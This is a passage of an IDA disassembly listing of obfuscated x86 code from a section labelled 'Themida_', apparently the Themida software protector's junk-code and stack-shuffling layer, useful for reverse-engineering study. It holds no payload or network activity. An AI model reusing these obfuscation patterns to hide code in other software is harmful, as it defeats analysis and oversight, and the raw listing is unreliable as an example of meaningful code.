loc_563FA9: ; CODE XREF: Themida_:005617F8j
sub eax, 26FB71B6h
jmp loc_566618
; ---------------------------------------------------------------------------
loc_563FB3: ; CODE XREF: Themida_:00565440j
mov dx, [esp]
add esp, 2
xor bh, 5Fh
add al, bh
push dword ptr [esp]
jmp loc_561FDF
; ---------------------------------------------------------------------------
loc_563FCA: ; CODE XREF: Themida_:00571ED0j
push edx
jmp loc_560BCC
; ---------------------------------------------------------------------------
loc_563FD0: ; CODE XREF: Themida_:005655C5j
mov ah, 4Ah
neg ah
dec ah
sub ah, 0FDh
xor ch, ah
pop eax
push ecx
inc byte ptr [esp+1]
pop ecx
jmp loc_5713CA
; ---------------------------------------------------------------------------
loc_563FE7: ; CODE XREF: Themida_:0056398Aj
add edi, esi
pop esi
jmp loc_5722A3
; ---------------------------------------------------------------------------
loc_563FEF: ; CODE XREF: Themida_:0055D45Cj
add esp, 4
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_564007: ; CODE XREF: Themida_:005603A6j
push ecx
mov ecx, 40320F44h
or ecx, 6F196106h
shl ecx, 6
jmp loc_571795
; ---------------------------------------------------------------------------
loc_56401B: ; CODE XREF: Themida_:0056CB7Bj
sub edx, 719A52C1h
push esi
jmp loc_55E571
; ---------------------------------------------------------------------------
loc_564027: ; CODE XREF: Themida_:0055F3BDj
sub ebx, eax
pop eax
add ebx, 55327C4Eh
jmp loc_56E4E9
; ---------------------------------------------------------------------------
loc_564035: ; CODE XREF: Themida_:0055D319j
pop ebx
mov dl, ch
pop ecx
sub dl, 0FFh
sub dl, 0F2h
dec dl
jmp loc_572523
; ---------------------------------------------------------------------------
loc_564046: ; CODE XREF: Themida_:00571B3Cj
add ecx, 27FD58A4h
inc ecx
jmp loc_56F47B
; ---------------------------------------------------------------------------
loc_564052: ; CODE XREF: Themida_:0057266Fj
pop eax
sub esp, 4
mov [esp], esi
push dword ptr [esp+4]
jmp loc_568977
; ---------------------------------------------------------------------------
loc_564065: ; CODE XREF: Themida_:005714C1j
pop esp
retn
; ---------------------------------------------------------------------------
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56406C: ; CODE XREF: Themida_:00564B6Fj
xchg ecx, [esp]
mov esp, [esp]
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
mov ecx, [esp]
jmp loc_5715F2
; ---------------------------------------------------------------------------
loc_564086: ; CODE XREF: Themida_:0055EF2Cj
push 43FAh
mov [esp], edx
push ebp
mov ebp, 32E320E7h
shr ebp, 6
or ebp, 19E12170h
jmp loc_563CB6
; ---------------------------------------------------------------------------
loc_5640A2: ; CODE XREF: Themida_:00567A4Cj
xor ebx, ebp
jmp loc_5709B1
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
sbb [esp], eax
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_5640B7: ; CODE XREF: Themida_:00562D03j
sub esp, 4
mov [esp], esi
mov esi, 3B1A5F04h
add esi, 18F61BCEh
jmp loc_5645C2
; ---------------------------------------------------------------------------
loc_5640D0: ; CODE XREF: Themida_:0055F89Fj
push ebx
mov ebx, 5AE76896h
add eax, ebx
mov ebx, [esp]
add esp, 4
add eax, edx
sub esp, 4
mov [esp], edi
push 5AE76896h
pop edi
sub eax, edi
mov edi, [esp]
jmp loc_560FF6
; ---------------------------------------------------------------------------
loc_5640F9: ; CODE XREF: Themida_:0056B79Dj
mov edi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
add edx, 13B84D04h
sub edx, ebx
sub edx, 13B84D04h
xor ebx, edx
xor edx, ebx
xor ebx, edx
mov edx, [esp]
add esp, 4
jmp loc_568A53
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_564133: ; CODE XREF: Themida_:0055F27Cj
xchg ebx, [esp]
pop esp
shl ecx, 5
xor ecx, 9F98A36Ch
jmp loc_56A3D4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DEE3
loc_564145: ; CODE XREF: sub_55DEE3+25j
pop ecx
push 372Ah
mov [esp+4+var_4], edx
jmp loc_56BDAD
; END OF FUNCTION CHUNK FOR sub_55DEE3
; ---------------------------------------------------------------------------
loc_564153: ; CODE XREF: Themida_:0056348Bj
sub ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mov [esp], esi
mov esi, 19F12CADh
add esi, 0F3239E6h
push 4460h
mov [esp], ebp
jmp loc_55F008
; ---------------------------------------------------------------------------
loc_56417D: ; CODE XREF: Themida_:00568B9Bj
or ebx, ebx
jnz loc_5677C1
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push 4378h
jmp loc_5702BC
; ---------------------------------------------------------------------------
loc_5641A2: ; CODE XREF: Themida_:005697D2j
pop ebx
jmp loc_560AD7
; ---------------------------------------------------------------------------
loc_5641A8: ; CODE XREF: Themida_:00569E4Fj
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
push ebx
push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
mov edi, [esp]
add esp, 4
jmp loc_567840
; ---------------------------------------------------------------------------
loc_5641D7: ; CODE XREF: Themida_:0056BC5Fj
xor edx, 722A7254h
add ebp, edx
jmp loc_569377
; ---------------------------------------------------------------------------
loc_5641E4: ; CODE XREF: Themida_:0057151Aj
add esi, eax
pop eax
jmp loc_56C800
; ---------------------------------------------------------------------------
loc_5641EC: ; CODE XREF: Themida_:005683D0j
and ecx, 7D0739A4h
shr ecx, 3
jmp loc_5705A8
; ---------------------------------------------------------------------------
loc_5641FA: ; CODE XREF: Themida_:00565A83j
mov esi, 1B2F48A8h
sub esi, 5E4A2CC0h
jmp loc_5700D3
; ---------------------------------------------------------------------------
loc_56420A: ; CODE XREF: Themida_:005608A1j
add edi, 4
xchg edi, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
movsx ecx, al
sub esp, 4
mov [esp], edi
push esp
push dword ptr [esp]
pop edi
add esp, 4
add edi, 4
push edi
push esp
jmp loc_571956
; ---------------------------------------------------------------------------
loc_56423B: ; CODE XREF: Themida_:0056B5E4j
neg esi
jmp loc_562ED8
; ---------------------------------------------------------------------------
loc_564242: ; CODE XREF: Themida_:005694EEj
mov ebx, esi
pop esi
sub ebx, esi
jmp loc_567C8A
; ---------------------------------------------------------------------------
loc_56424C: ; CODE XREF: Themida_:0056AB54j
pop ebp
and esi, 62AC7279h
jmp loc_5716C7
; ---------------------------------------------------------------------------
loc_564258: ; CODE XREF: Themida_:00568C2Aj
xchg ebp, [esp]
jmp loc_56E7EC
; ---------------------------------------------------------------------------
loc_564260: ; CODE XREF: Themida_:00563BBFj
xor ebx, 70B869C4h
jmp loc_56C746
; ---------------------------------------------------------------------------
loc_56426B: ; CODE XREF: Themida_:0056E707j
add esp, 4
push edx
mov edx, 4
jmp loc_569B02
; ---------------------------------------------------------------------------
loc_56427C: ; CODE XREF: Themida_:0056B3FBj
pop esi
xor ebx, [esp]
xor [esp], ebx
jmp loc_56CC16
; ---------------------------------------------------------------------------
loc_564288: ; CODE XREF: Themida_:0055E56Cj
mov eax, esp
push edi
mov edi, 55EB5C9Dh
add edi, 627C5CDFh
add edi, 47984688h
add eax, edi
pop edi
add eax, 4
xor eax, [esp]
xor [esp], eax
jmp loc_566CB5
; ---------------------------------------------------------------------------
loc_5642AF: ; CODE XREF: Themida_:005652B6j
shl ebp, 6
not ebp
sub ebp, 12D066C6h
push ecx
mov ecx, 985EB0BDh
xor ebp, ecx
pop ecx
jmp loc_564628
; ---------------------------------------------------------------------------
loc_5642C8: ; CODE XREF: Themida_:005695D5j
sub ebx, esi
pop esi
sub esp, 4
mov [esp], esi
jmp loc_5602CA
; ---------------------------------------------------------------------------
loc_5642D9: ; CODE XREF: Themida_:0056C2F9j
mov ebx, 0C894138h
jmp loc_56D85A
; ---------------------------------------------------------------------------
loc_5642E3: ; CODE XREF: Themida_:0056CB51j
add ecx, edi
pop edi
xchg ecx, [esp]
pop esp
push dword ptr [edi+eax*4]
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
push eax
push esp
push dword ptr [esp]
pop eax
jmp loc_56E988
; ---------------------------------------------------------------------------
loc_564302: ; CODE XREF: Themida_:00563C6Aj
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_564307: ; CODE XREF: Themida_:0055F86Bj
xchg ebx, [esp]
mov esp, [esp]
mov [esp], edi
push 0E02h
jmp loc_563507
; ---------------------------------------------------------------------------
loc_56431A: ; CODE XREF: Themida_:0056229Fj
pop ecx
xor edx, 602A051Ch
jmp loc_5611FB
; ---------------------------------------------------------------------------
loc_564326: ; CODE XREF: Themida_:00571F2Ej
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push dword ptr [esp]
mov eax, [esp]
push eax
jmp loc_56CBD0
; ---------------------------------------------------------------------------
loc_564342: ; CODE XREF: Themida_:0055FE09j
pop esi
jmp loc_562308
; ---------------------------------------------------------------------------
loc_564348: ; CODE XREF: Themida_:00567AF9j
xchg ecx, [esp]
mov esp, [esp]
jmp loc_56B2D6
; ---------------------------------------------------------------------------
loc_564353: ; CODE XREF: Themida_:00563C86j
mov eax, esp
sub esp, 4
jmp loc_5610B2
; ---------------------------------------------------------------------------
loc_56435D: ; CODE XREF: Themida_:005606E9j
xor eax, edx
push ebx
push 28EEh
mov [esp], esi
push 5039784Dh
pop esi
push eax
mov eax, 42682717h
push ebp
mov ebp, 46707959h
xor ebp, 46CE0CE6h
jmp loc_560066
; ---------------------------------------------------------------------------
loc_564385: ; CODE XREF: Themida_:0056B989j
mov ecx, 4
add edi, ecx
pop ecx
xchg edi, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, 2483411h
jmp loc_56AD74
; ---------------------------------------------------------------------------
loc_5643A3: ; CODE XREF: Themida_:00560EBAj
shl cx, 6
neg cx
jmp loc_56CF11
; ---------------------------------------------------------------------------
loc_5643AF: ; CODE XREF: Themida_:00570CA7j
push ebx
mov ebx, 638361A8h
xor ebx, 1EF24F9Ch
and ebx, 4396736Ah
jmp loc_56AF42
; ---------------------------------------------------------------------------
loc_5643C6: ; CODE XREF: Themida_:0056A8A7j
pop ebx
sub ch, 0A6h
sub ch, 3
mov dh, ch
jmp loc_571BE6
; ---------------------------------------------------------------------------
loc_5643D4: ; CODE XREF: Themida_:0056B1E3j
mov al, 36h
mov ch, 0BEh
xor ch, al
pop eax
push cx
xchg cl, [esp+1]
not cl
xchg cl, [esp+1]
jmp loc_55FD6A
; ---------------------------------------------------------------------------
loc_5643EC: ; CODE XREF: Themida_:00560F72j
pop ebx
jmp loc_5632AC
; ---------------------------------------------------------------------------
loc_5643F2: ; CODE XREF: Themida_:00568796j
pop edi
xchg ebx, [esp]
mov esp, [esp]
mov [esp], ebx
push dword ptr [esp+4]
jmp loc_56665B
; ---------------------------------------------------------------------------
loc_564405: ; CODE XREF: Themida_:00569D40j
push edx
jmp loc_5648D7
; ---------------------------------------------------------------------------
loc_56440B: ; CODE XREF: Themida_:005663BBj
push ebx
mov ebx, 3EED3E6Ah
sub ebx, 63963107h
jmp loc_56C442
; ---------------------------------------------------------------------------
loc_56441C: ; CODE XREF: Themida_:0056060Dj
sub edx, ecx
pop ecx
xchg edx, [esp]
jmp loc_55E118
; ---------------------------------------------------------------------------
loc_564427: ; CODE XREF: Themida_:00562F76j
pop edi
jmp loc_56D04C
; ---------------------------------------------------------------------------
loc_56442D: ; CODE XREF: Themida_:005636BBj
push ebp
push 183167D3h
pop ebp
not ebp
not ebp
push edi
mov edi, 60863723h
not edi
jmp loc_55E518
; ---------------------------------------------------------------------------
loc_564445: ; CODE XREF: Themida_:0057007Cj
add eax, 4
sub eax, 4
jmp loc_56CBAD
; ---------------------------------------------------------------------------
loc_564454: ; CODE XREF: Themida_:0055D94Bj
sub eax, ecx
jmp loc_56C8C6
; ---------------------------------------------------------------------------
loc_56445B: ; CODE XREF: Themida_:00568D3Dj
mov bh, 6Fh
dec bh
and bh, 0A4h
neg bh
sub bh, 0C1h
add ah, 6Dh
add ah, bh
sub ah, 6Dh
pop ebx
xor ah, 1Eh
mov dl, 0ABh
sub dl, ah
jmp loc_55D5C2
; ---------------------------------------------------------------------------
loc_56447C: ; CODE XREF: Themida_:00562580j
push 2
pop ecx
push ecx
mov ecx, 7BB7698Ah
sub ecx, 3D646ADCh
xor ecx, 212223B2h
shl ecx, 5
neg ecx
push ebp
jmp loc_56AE2C
; ---------------------------------------------------------------------------
loc_56449F: ; CODE XREF: Themida_:0056FF89j
push edi
jmp loc_569CEF
; ---------------------------------------------------------------------------
loc_5644A5: ; CODE XREF: Themida_:00569CE3j
mov esp, [esp]
jmp loc_563191
; ---------------------------------------------------------------------------
loc_5644AD: ; CODE XREF: Themida_:0056F5ECj
mov ebx, 764F46C0h
mov edi, ebx
jmp loc_564901
; ---------------------------------------------------------------------------
loc_5644B9: ; CODE XREF: Themida_:0056EFF7j
sub ebx, edx
pop edx
shl ebx, 2
shr ebx, 1
and ebx, 5B710B4h
push ecx
jmp loc_55FBA4
; ---------------------------------------------------------------------------
loc_5644CD: ; CODE XREF: Themida_:0056D0F1j
mov ecx, [esp]
add esp, 4
push esi
mov esi, 5D01544Ah
push edx
push ecx
mov ecx, 7E5827B1h
not ecx
neg ecx
not ecx
xor ecx, 0DCA68C03h
mov edx, ecx
pop ecx
xor esi, edx
jmp loc_56FC63
; ---------------------------------------------------------------------------
loc_5644F6: ; CODE XREF: Themida_:00571BD1j
mov ah, dl
pop edx
mov bl, 96h
jmp loc_55D950
; ---------------------------------------------------------------------------
loc_564500: ; CODE XREF: Themida_:0056D8F0j
mov eax, 61BA244Dh
shl eax, 6
jmp loc_55F87E
; ---------------------------------------------------------------------------
loc_56450D: ; CODE XREF: Themida_:0056AF02j
mov ecx, 3F3E5D67h
and ecx, 67ED3A4Ah
push edi
mov edi, 55863BE5h
jmp loc_55FBFB
; ---------------------------------------------------------------------------
loc_564523: ; CODE XREF: Themida_:0056661Aj
add eax, 26FB71B6h
jmp loc_568608
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_5701EB
; ---------------------------------------------------------------------------
loc_564536: ; CODE XREF: Themida_:0056260Bj
push ebp
mov ebp, esp
jmp loc_55E22F
; ---------------------------------------------------------------------------
mov cx, [esp]
push 2AA8h
jmp loc_5674D1
; ---------------------------------------------------------------------------
loc_56454C: ; CODE XREF: Themida_:005632A7j
push ebx
mov ebx, eax
mov edi, ebx
jmp loc_5603D5
; ---------------------------------------------------------------------------
loc_564556: ; CODE XREF: Themida_:0055F6E2j
add ecx, eax
pop eax
push eax
push esi
jmp loc_56DD78
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_55F793
; ---------------------------------------------------------------------------
loc_564569: ; CODE XREF: Themida_:0056BF21j
mov ebp, 58127D42h
add ecx, ebp
jmp loc_56B0D0
; ---------------------------------------------------------------------------
loc_564575: ; CODE XREF: Themida_:0056FBB8j
sub ebx, ebp
mov ebp, [esp]
add esp, 4
sub esp, 4
mov [esp], ebp
push edx
jmp loc_569939
; ---------------------------------------------------------------------------
loc_56458C: ; CODE XREF: Themida_:0056CD9Dj
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ebx
mov ebx, 42AB6C9Fh
sub edx, 3D6D606Ah
jmp loc_57289B
; ---------------------------------------------------------------------------
loc_5645AF: ; CODE XREF: Themida_:0056315Aj
add ebp, esi
pop esi
mov edx, ebp
mov ebp, [esp]
add esp, 4
jmp loc_56D921
; ---------------------------------------------------------------------------
loc_5645C2: ; CODE XREF: Themida_:005640CBj
add esi, 0D5EB9FFBh
jmp loc_56750C
; ---------------------------------------------------------------------------
loc_5645CD: ; CODE XREF: Themida_:0056EA1Aj
push dword ptr [edi+1Ch]
jmp loc_56A13D
; ---------------------------------------------------------------------------
loc_5645D5: ; CODE XREF: Themida_:0055DD72j
pop ebx
sub al, 0D2h
sub al, 54h
mov cx, [esp]
push ecx
push esp
mov ecx, [esp]
add esp, 4
add ecx, 4
add ecx, 2
xchg ecx, [esp]
jmp loc_56BFC9
; ---------------------------------------------------------------------------
loc_5645FD: ; CODE XREF: Themida_:00562ECAj
add edx, 4
xchg edx, [esp]
pop esp
sub ebx, ebp
add ebx, 3D7013A3h
mov ebp, [esp]
add esp, 4
jmp loc_56A43D
; ---------------------------------------------------------------------------
loc_56461D: ; CODE XREF: Themida_:00567AAEj
add edx, 4
jmp loc_56001C
; ---------------------------------------------------------------------------
loc_564628: ; CODE XREF: Themida_:005642C3j
sub edx, 0D3F3318h
add edx, ebp
push ebx
mov ebx, 0D3F3318h
add edx, ebx
pop ebx
pop ebp
jmp loc_5635EC
; ---------------------------------------------------------------------------
loc_56463F: ; CODE XREF: Themida_:00564B0Fj
neg esi
shl esi, 7
push ebx
mov ebx, 69472E6Dh
jmp loc_55FE97
; ---------------------------------------------------------------------------
loc_56464F: ; CODE XREF: Themida_:0056D4F7j
mov [esp], ebp
mov ebp, 1F2822F2h
and ebp, 62CE5D59h
push ebp
jmp loc_565A11
; ---------------------------------------------------------------------------
loc_564663: ; CODE XREF: Themida_:00567AE2j
add edi, ecx
mov ecx, [esp]
add esp, 4
push ebp
mov ebp, 8A3B45AAh
jmp loc_5635DB
; ---------------------------------------------------------------------------
loc_564679: ; CODE XREF: Themida_:0055FBE4j
sub esi, 0F47DDE54h
and eax, esi
pop esi
jmp loc_571F7D
; ---------------------------------------------------------------------------
loc_564687: ; CODE XREF: Themida_:00563B93j
push eax
jmp loc_561EF2
; ---------------------------------------------------------------------------
loc_56468D: ; CODE XREF: Themida_:005711F4j
sub ebp, 32AC745Dh
jmp loc_56272F
; ---------------------------------------------------------------------------
loc_564698: ; CODE XREF: Themida_:0056B38Fj
pop esp
push 0E3Eh
jmp loc_561D64
; ---------------------------------------------------------------------------
loc_5646A3: ; CODE XREF: Themida_:0056EA50j
push eax
jmp loc_5622F8
; ---------------------------------------------------------------------------
loc_5646A9: ; CODE XREF: Themida_:0056C79Dj
push ebx
mov ebx, 0
sub ebx, edx
mov edx, ebx
pop ebx
neg edx
push esi
push eax
push 54621360h
jmp loc_564F35
; ---------------------------------------------------------------------------
loc_5646C2: ; CODE XREF: Themida_:0056EA30j
mov [esp], eax
jmp loc_563E84
; ---------------------------------------------------------------------------
loc_5646CA: ; CODE XREF: Themida_:0056F42Cj
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
rol dword ptr [esp], cl
pushf
jmp loc_567F33
; ---------------------------------------------------------------------------
loc_5646DE: ; CODE XREF: Themida_:0056DF86j
mov edi, [esp]
add esp, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
push dword ptr [esp]
mov ecx, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_56E119
; ---------------------------------------------------------------------------
loc_564702: ; CODE XREF: Themida_:0055ED78j
push dword ptr [esp]
mov edi, [esp]
jmp loc_5658EC
; ---------------------------------------------------------------------------
loc_56470D: ; CODE XREF: Themida_:00565815j
add eax, 3D50223Fh
jmp loc_56DD1E
; ---------------------------------------------------------------------------
loc_564717: ; CODE XREF: Themida_:00563B57j
and edx, 95341ADh
sub edx, 4D0672F4h
push ebp
mov ebp, 5F7A5CFFh
jmp loc_562DCA
; ---------------------------------------------------------------------------
loc_56472E: ; CODE XREF: Themida_:0055E7D4j
shl dl, 1
jmp loc_567CF6
; ---------------------------------------------------------------------------
loc_564735: ; CODE XREF: Themida_:0055FD2Ej
sub eax, 3D50223Fh
pop ebp
jmp loc_55FE7F
; ---------------------------------------------------------------------------
loc_564740: ; CODE XREF: Themida_:005639AFj
xchg eax, [esp]
pop esp
mov [esp], ebx
push dword ptr [esp]
jmp loc_55E38A
; ---------------------------------------------------------------------------
loc_56474F: ; CODE XREF: Themida_:0056FF5Aj
or edx, 6F940BA6h
sub edx, 45EE12B3h
add edx, 1F179CFh
add edx, 56013E53h
jmp loc_566296
; ---------------------------------------------------------------------------
loc_56476C: ; CODE XREF: Themida_:0056D220j
push dword ptr [esp]
pop edx
jmp loc_561CE8
; ---------------------------------------------------------------------------
loc_564775: ; CODE XREF: Themida_:0056082Ej
add edx, ebp
mov ebp, [esp]
add esp, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
push dword ptr [esp]
push dword ptr [esp]
pop ecx
jmp loc_565137
; ---------------------------------------------------------------------------
loc_564793: ; CODE XREF: Themida_:0055F0B7j
neg ebx
jmp loc_56EEC1
; ---------------------------------------------------------------------------
loc_56479A: ; CODE XREF: Themida_:0056FE5Cj
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
ror byte ptr [esp], cl
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_5647AD: ; CODE XREF: Themida_:0056F2B6j
sub esp, 4
mov [esp], ecx
mov ecx, 0
add ecx, edx
push edx
mov edx, 0
add edx, ecx
mov eax, [edx]
pop edx
jmp loc_569407
; ---------------------------------------------------------------------------
loc_5647CA: ; CODE XREF: Themida_:00564BECj
push 182D054Fh
pop edi
shl edi, 7
sub edi, 253E54CDh
sub edi, 0D3031BD4h
mov ecx, edi
pop edi
jmp loc_56B123
; ---------------------------------------------------------------------------
loc_5647E7: ; CODE XREF: Themida_:00566846j
mov [esp], edx
mov edx, esp
jmp loc_56C4C5
; ---------------------------------------------------------------------------
loc_5647F1: ; CODE XREF: Themida_:0056EF5Dj
push 0F88205Eh
jmp loc_5631C0
; ---------------------------------------------------------------------------
loc_5647FB: ; CODE XREF: Themida_:00561ECAj
add esi, 4
xchg esi, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ebp
push 63F2h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_5600C7
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
push 5557h
jmp loc_562610
; ---------------------------------------------------------------------------
loc_564836: ; CODE XREF: Themida_:0056DCC8j
pop ecx
mov ecx, eax
pop eax
add ebx, ecx
pop ecx
sub ebx, 4
jmp loc_570DC9
; ---------------------------------------------------------------------------
loc_564848: ; CODE XREF: Themida_:0056B648j
xor ecx, 4348149Ah
or ecx, 2E2D009Ch
add ecx, 91429C27h
jmp loc_571DAD
; ---------------------------------------------------------------------------
loc_56485F: ; CODE XREF: Themida_:0055D454j
push edx
mov edx, 4A73318Dh
xor edx, 4A733189h
add ebx, edx
pop edx
sub esp, 4
mov [esp], edx
jmp loc_566C27
; ---------------------------------------------------------------------------
loc_564879: ; CODE XREF: Themida_:0056F385j
pop ebx
add [esp+0Ch], ebp
jmp loc_567559
; ---------------------------------------------------------------------------
loc_564883: ; CODE XREF: Themida_:0055E056j
sub ecx, 502B4EB7h
add ecx, edi
add ecx, 502B4EB7h
push dword ptr [esp]
pop edi
push ebx
mov ebx, esp
jmp loc_566DE6
; ---------------------------------------------------------------------------
loc_56489D: ; CODE XREF: Themida_:00565527j
mov [esp], eax
push 55C44650h
pop eax
and eax, 4ADC29FBh
add eax, 3AE67C7h
dec eax
sub eax, 0FFFFFFFFh
sub eax, 1BB814EBh
xor esi, eax
pop eax
add esi, 50E17C34h
sub esi, 6F1922D7h
add esi, 39B4772Ah
sub edx, esi
jmp loc_5688BF
; ---------------------------------------------------------------------------
loc_5648D7: ; CODE XREF: Themida_:00564406j
mov edx, 0DD309F99h
jmp loc_560092
; ---------------------------------------------------------------------------
loc_5648E1: ; CODE XREF: Themida_:0056C5A1j
pop dword ptr [esp]
mov esp, [esp]
mov ax, [esp]
sub esp, 4
jmp loc_56E49D
; ---------------------------------------------------------------------------
loc_5648F3: ; CODE XREF: Themida_:00562417j
add esp, 4
jmp loc_56C140
; ---------------------------------------------------------------------------
loc_5648FB: ; CODE XREF: Themida_:0056EE24j
dec edx
jmp loc_56B575
; ---------------------------------------------------------------------------
loc_564901: ; CODE XREF: Themida_:005644B4j
pop ebx
sub edx, 1E68575Eh
sub edx, edi
jmp loc_55E3EB
; ---------------------------------------------------------------------------
loc_56490F: ; CODE XREF: Themida_:00567355j
sub eax, esi
sub eax, 6641190Bh
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_56A786
; ---------------------------------------------------------------------------
loc_564925: ; CODE XREF: Themida_:00563F88j
mov ebp, [esp]
add esp, 4
std
push ebp
push edi
push 73CE1E9Fh
mov edi, [esp]
add esp, 4
neg edi
add edi, 0BB0E718Fh
mov ebp, edi
mov edi, [esp]
add esp, 4
sub ebp, 16277840h
push edi
jmp loc_56A2AC
; ---------------------------------------------------------------------------
loc_564958: ; CODE XREF: Themida_:00567A23j
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push esi
mov esi, 3E5D17C9h
and esi, 2E0F1F17h
jmp loc_561FAA
; ---------------------------------------------------------------------------
loc_564979: ; CODE XREF: Themida_:0057163Aj
mov edx, 0CB4504Dh
add edx, 4B69CDBFh
not edx
jmp loc_5635A5
; ---------------------------------------------------------------------------
loc_56498B: ; CODE XREF: Themida_:0056F2E6j
btc [esp], ax
pushf
jmp loc_570B72
; ---------------------------------------------------------------------------
loc_564996: ; CODE XREF: Themida_:0056DB40j
mov eax, 5A8A580Eh
or ebx, eax
pop eax
xor ebx, 42A11C70h
jmp loc_561BF0
; ---------------------------------------------------------------------------
loc_5649A9: ; CODE XREF: Themida_:00567D04j
push ebx
mov ebx, esp
add ebx, 4
sub esp, 4
mov [esp], eax
mov eax, 4
add ebx, eax
pop eax
jmp loc_572844
; ---------------------------------------------------------------------------
loc_5649C8: ; CODE XREF: Themida_:0056B788j
push ebx
mov ebx, 72BA0757h
sub ecx, ebx
pop ebx
push 1591h
mov [esp], ebx
jmp loc_56567C
; ---------------------------------------------------------------------------
loc_5649DE: ; CODE XREF: Themida_:0056D92Fj
push ecx
push esp
push dword ptr [esp]
pop ecx
add esp, 4
push ebx
jmp loc_56692F
; ---------------------------------------------------------------------------
loc_5649F0: ; CODE XREF: Themida_:00561D5Fj
pop ebx
add ebp, 4
xchg ebp, [esp]
pop esp
push edi
mov edi, esp
jmp loc_566F59
; ---------------------------------------------------------------------------
loc_564A03: ; CODE XREF: Themida_:0055F205j
pop ebp
jmp loc_55ECFE
; ---------------------------------------------------------------------------
loc_564A09: ; CODE XREF: Themida_:0056EBB7j
add edx, 4
add edx, 4
jmp loc_566560
; ---------------------------------------------------------------------------
mov ax, fs:[edx]
push edx
jmp loc_55E789
; ---------------------------------------------------------------------------
loc_564A24: ; CODE XREF: Themida_:0056EEF0j
mov eax, 5BA04702h
sub [esp+8], eax
pop eax
push dword ptr [esp]
pop esi
push ecx
mov ecx, esp
push ebp
push 275Fh
mov [esp], edi
mov edi, 67183C54h
mov ebp, 0AA1D7A92h
sub ebp, edi
mov edi, [esp]
jmp loc_56C90A
; ---------------------------------------------------------------------------
loc_564A52: ; CODE XREF: Themida_:00568E29j
mov edi, [esp]
add esp, 4
push ebp
jmp loc_56033F
; ---------------------------------------------------------------------------
loc_564A61: ; CODE XREF: Themida_:00561F3Fj
push esp
mov eax, [esp]
jmp loc_56E7A5
; ---------------------------------------------------------------------------
loc_564A6A: ; CODE XREF: Themida_:00568865j
push esi
mov esi, 760A02D0h
shl esi, 3
push eax
mov eax, 2C5E3170h
xor esi, eax
pop eax
add esi, 0FFFFFFFFh
push 7C3Ch
mov [esp], esi
not dword ptr [esp]
pop esi
and esi, 50262624h
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_55DBEF
; ---------------------------------------------------------------------------
loc_564AA5: ; CODE XREF: Themida_:0056E81Fj
add esi, edi
pop edi
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_56EFCC
; ---------------------------------------------------------------------------
loc_564AB7: ; CODE XREF: Themida_:0056847Bj
inc eax
add eax, 42502A58h
xchg eax, ecx
jmp loc_55DA34
; ---------------------------------------------------------------------------
loc_564AC3: ; CODE XREF: Themida_:00561C30j
push dword ptr [esp]
jmp loc_56BB0C
; ---------------------------------------------------------------------------
loc_564ACB: ; CODE XREF: Themida_:0056A04Cj
xor eax, 7DAD169Ah
add edx, eax
jmp loc_56573C
; ---------------------------------------------------------------------------
loc_564AD7: ; CODE XREF: Themida_:00570A98j
add edx, eax
sub edx, 831022Eh
push dword ptr [esp]
pop eax
add esp, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
mov ax, [esp]
sub esp, 4
mov [esp], ecx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_55D9BA
; ---------------------------------------------------------------------------
loc_564B0E: ; CODE XREF: Themida_:0056ED41j
pop eax
jmp loc_56463F
; ---------------------------------------------------------------------------
loc_564B14: ; CODE XREF: Themida_:0056E0E5j
add ecx, edx
pop edx
mov esi, ecx
mov ecx, [esp]
add esp, 4
shr esi, 8
add esi, 5EA202F2h
push ebx
mov ebx, 48645183h
and esi, ebx
pop ebx
add esi, 0CAC6F7B1h
xchg edi, esi
jmp loc_561AB3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562A0A
loc_564B3E: ; CODE XREF: sub_562A0A+D9C3j
xor [esp+8+var_8], ebp
xor ebp, [esp+8+var_8]
mov esp, [esp+8+var_8]
pop edx
sub esp, 4
mov [esp+4+var_4], ecx
jmp loc_56DEE8
; END OF FUNCTION CHUNK FOR sub_562A0A
; ---------------------------------------------------------------------------
loc_564B53: ; CODE XREF: Themida_:00562D40j
push edx
jmp loc_55E7A1
; ---------------------------------------------------------------------------
